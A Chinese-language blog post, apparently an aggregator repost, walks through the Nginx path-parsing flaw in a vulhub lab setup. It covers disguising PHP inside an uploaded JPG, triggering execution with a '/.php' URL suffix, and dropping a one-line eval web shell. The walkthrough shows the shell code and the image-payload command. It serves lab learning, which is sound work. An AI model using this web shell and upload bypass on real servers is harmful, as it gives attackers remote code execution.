利用 Nginx 畸形解析漏洞 getshell

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用 Nginx 畸形解析漏洞 getshell相关的知识,希望对你有一定的参考价值。

nginx

Nginx 是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

漏洞描述:

对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。

例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。

漏洞原理:

查看 nginx 配置文件:

cd /home/ch1/Desktop/vulhub-master/nginx/nginx_parsing_vulnerability/nginx
cat default.conf

1、 由于 nginx 的如下配置导致nginx把以 .php 结尾的文件交给 fastcgi 处理,因此我们可以构造http://ip/uploadfiles/1.jpg/.php  (url结尾不一定是.php,任何服务器端不存在的php文件均可,比如’a.php’),其中1.jpg是我们上传的包含PHP代码的照片文件。

2、 但是 fastcgi 在处理 .php 文件时发现文件并不存在,这时 php.ini 配置文件中 cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由 fastcgi 处理的文件就变成了/1.php
 docker exec -it f16180b9a206 /bin/bash
 find / -name php.ini
 #cgi.fix_pathinfo 默认是开启的

3、 最重要的一点是 php-fpm.conf 中的 security.limit_extensions 配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi 将 .png 等文件当做代码解析。

漏洞复现

打开漏洞环境:

攻击机:192.168.8.10

靶机:192.168.8.9

cd /home/ch1/Desktop/vulhub-master/nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps

访问:http://192.168.8.9/

发现上传点,上传普通图片:

http://192.168.8.9/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

上传phpinfo文件:

拦截。

尝试利用Nginx解析漏洞绕过上传,我们在上传图片的时候抓包:

发送到repeater模块,并在图片中加上我们的php代码:<?php phpinfo; ?>

上传成功:

访问:http://192.168.8.9//uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

为正常图片。

利用解析漏洞,访问:http://192.168.8.9//uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/1.php

成功解析。

GetShell

木马文件:

<?php fputs(fopen("1.php","w"),'<?php @eval($_REQUEST[1]);?>');?>
#会在当前目录下生成1.php,密码为1

生成图片马:

copy 1.jpg/b + 1.php/a 2.jpg

上传 2.jpg

利用解析漏洞加载php代码:http://192.168.8.9/uploadfiles/156005c5baf40ff51a327f1c34f2975b.jpg/.php

访问网站根目录发现成功生成1.php:

访问:http://192.168.8.9/uploadfiles/1.php?1=phpinfo();

成功getshell!

仅供学习!

ok!

以上是关于利用 Nginx 畸形解析漏洞 getshell的主要内容,如果未能解决你的问题,请参考以下文章

七夕咱一起验证漏洞✨ IIS7/7.5对文件名畸形解析导致远程代码执行❤️

文件解析漏洞

利用Thinkphp 5缓存漏洞实现前台Getshell

dedecms最新注入和getshell漏洞利用

DVWA--全等级文件上传(File Uplode)

利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单